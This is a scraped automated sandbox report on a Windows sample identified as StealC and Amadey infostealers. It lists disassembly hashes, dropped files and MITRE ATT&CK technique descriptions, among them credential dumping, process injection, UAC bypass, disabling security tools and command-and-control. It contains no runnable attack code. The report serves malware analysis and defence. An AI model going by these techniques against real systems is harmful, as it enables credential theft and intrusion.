Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 890ba3efda7e9f4cd9b80361db6bfa02e7e34314157dc4f2699ec6e81c4f9d75
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B5312C71A00224AFCB14CF69CCC0A9F77F5EB84354B18853DFA598BB04D631E985CB90

Function 6CB126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB126C1
free.MOZGLUE(?), ref: 6CB126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB126FF
free.MOZGLUE ref: 6CB1270D

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 98d48e63bffc992943308881cbfb5d8a4de6bbe9a3bdeddc037250646594f521
Instruction ID: 79c41f606c0547e01df888c017410084a224fa5289483a16e05710ef6daa58dd
Opcode Fuzzy Hash: 98d48e63bffc992943308881cbfb5d8a4de6bbe9a3bdeddc037250646594f521
Instruction Fuzzy Hash: 53F0D6B27052405BE7109A18E88495B73ADEB5621CB140035EA1AC3F01E332F958C793

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIIDAEBGCAAECAKFHII

C:\ProgramData\BKECFIIE

C:\ProgramData\EGIIJDHCGCBKECBFIJKKFCBKEG

C:\ProgramData\GCGCFCBAKKFBFIECAEBA

C:\ProgramData\IDGHDGIDAKEBAAKFCGHCBAKJDA

C:\ProgramData\KKEHIEBK

C:\ProgramData\KKJKFBKKECFHJKEBKEHI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre